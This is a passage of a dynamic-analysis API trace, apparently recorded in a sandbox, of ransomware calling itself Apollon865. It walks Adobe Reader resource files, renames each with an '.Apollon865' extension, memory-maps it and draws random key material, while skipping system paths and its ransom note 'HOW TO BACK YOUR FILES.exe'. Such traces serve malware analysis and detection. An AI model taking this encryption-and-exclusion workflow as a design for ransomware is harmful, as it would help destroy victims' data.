	[0057.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\engphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.052] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2467) returned 1
	[0057.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.053] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.053] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.053] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.054] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb0, lpName=0x0) returned 0x15c
	[0057.055] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcb0) returned 0x120000
	[0057.055] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.056] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.056] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0057.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0057.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.057] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.057] CloseHandle (hObject=0x15c) returned 1
	[0057.057] CloseHandle (hObject=0xc0) returned 1
	[0057.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.057] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="est.hyp", cAlternateFileName="")) returned 1
	[0057.057] lstrcmpiW (lpString1="est.hyp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.057] lstrcmpiW (lpString1="est.hyp", lpString2="Apollon865.txt.exe") returned 1
	[0057.057] lstrcmpiW (lpString1="est.hyp", lpString2=".") returned 1
	[0057.057] lstrcmpiW (lpString1="est.hyp", lpString2="..") returned 1
	[0057.057] lstrcmpiW (lpString1="est.hyp", lpString2="windows") returned -1
	[0057.057] lstrcmpiW (lpString1="est.hyp", lpString2="bootmgr") returned 1
	[0057.057] lstrcmpiW (lpString1="est.hyp", lpString2="temp") returned -1
	[0057.058] lstrcmpiW (lpString1="est.hyp", lpString2="pagefile.sys") returned -1
	[0057.058] lstrcmpiW (lpString1="est.hyp", lpString2="boot") returned 1
	[0057.058] lstrcmpiW (lpString1="est.hyp", lpString2="ids.txt") returned -1
	[0057.058] lstrcmpiW (lpString1="est.hyp", lpString2="ntuser.dat") returned -1
	[0057.058] lstrcmpiW (lpString1="est.hyp", lpString2="perflogs") returned -1
	[0057.058] lstrcmpiW (lpString1="est.hyp", lpString2="MSBuild") returned -1
	[0057.058] lstrlenW (lpString="est.hyp") returned 7
	[0057.058] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env") returned 99
	[0057.058] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env.Apollon865") returned 110
	[0057.058] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\estphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\estphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\estphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.059] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4137) returned 1
	[0057.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.060] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.060] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.060] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.061] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1330, lpName=0x0) returned 0x15c
	[0057.062] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1330) returned 0x120000
	[0057.063] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.064] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.064] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.064] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.065] CloseHandle (hObject=0x15c) returned 1
	[0057.065] CloseHandle (hObject=0xc0) returned 1
	[0057.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.065] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fin.hyp", cAlternateFileName="")) returned 1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="Apollon865.txt.exe") returned 1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2=".") returned 1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="..") returned 1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="windows") returned -1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="bootmgr") returned 1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="temp") returned -1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="pagefile.sys") returned -1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="boot") returned 1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="ids.txt") returned -1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="ntuser.dat") returned -1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="perflogs") returned -1
	[0057.065] lstrcmpiW (lpString1="fin.hyp", lpString2="MSBuild") returned -1
	[0057.065] lstrlenW (lpString="fin.hyp") returned 7
	[0057.065] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env") returned 99
	[0057.066] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env.Apollon865") returned 110
	[0057.066] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\finphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\finphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\finphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.068] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3405) returned 1
	[0057.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.068] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.069] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.069] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.069] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1050, lpName=0x0) returned 0x15c
	[0057.071] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1050) returned 0x120000
	[0057.075] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.076] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.076] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.076] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.076] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0057.076] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.076] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0057.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.077] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.077] CloseHandle (hObject=0x15c) returned 1
	[0057.077] CloseHandle (hObject=0xc0) returned 1
	[0057.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.077] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn.fca", cAlternateFileName="")) returned 1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="Apollon865.txt.exe") returned 1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2=".") returned 1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="..") returned 1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="windows") returned -1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="bootmgr") returned 1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="temp") returned -1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="pagefile.sys") returned -1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="boot") returned 1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="ids.txt") returned -1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="ntuser.dat") returned -1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="perflogs") returned -1
	[0057.077] lstrcmpiW (lpString1="frn.fca", lpString2="MSBuild") returned -1
	[0057.077] lstrlenW (lpString="frn.fca") returned 7
	[0057.077] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env") returned 99
	[0057.079] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrvphon.env.Apollon865") returned 110
	[0057.079] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrvphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrvphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrvphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrvphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.081] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrvphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrvphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.081] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7969) returned 1
	[0057.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.082] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.083] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.083] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.083] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2230, lpName=0x0) returned 0x15c
	[0057.084] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2230) returned 0x120000
	[0057.085] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.086] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.086] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.087] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.087] CloseHandle (hObject=0x15c) returned 1
	[0057.087] CloseHandle (hObject=0xc0) returned 1
	[0057.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.087] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hun.fca", cAlternateFileName="")) returned 1
	[0057.087] lstrcmpiW (lpString1="hun.fca", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.087] lstrcmpiW (lpString1="hun.fca", lpString2="Apollon865.txt.exe") returned 1
	[0057.087] lstrcmpiW (lpString1="hun.fca", lpString2=".") returned 1
	[0057.087] lstrcmpiW (lpString1="hun.fca", lpString2="..") returned 1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="windows") returned -1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="bootmgr") returned 1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="temp") returned -1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="pagefile.sys") returned -1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="boot") returned 1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="ids.txt") returned -1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="ntuser.dat") returned -1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="perflogs") returned -1
	[0057.088] lstrcmpiW (lpString1="hun.fca", lpString2="MSBuild") returned -1
	[0057.088] lstrlenW (lpString="hun.fca") returned 7
	[0057.088] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrvphon.env") returned 99
	[0057.088] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lavphon.env.Apollon865") returned 110
	[0057.088] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lavphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lavphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lavphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lavphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lavphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lavphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.090] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2028) returned 1
	[0057.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.091] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.091] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.092] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.092] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf0, lpName=0x0) returned 0x15c
	[0057.093] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf0) returned 0x120000
	[0057.094] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
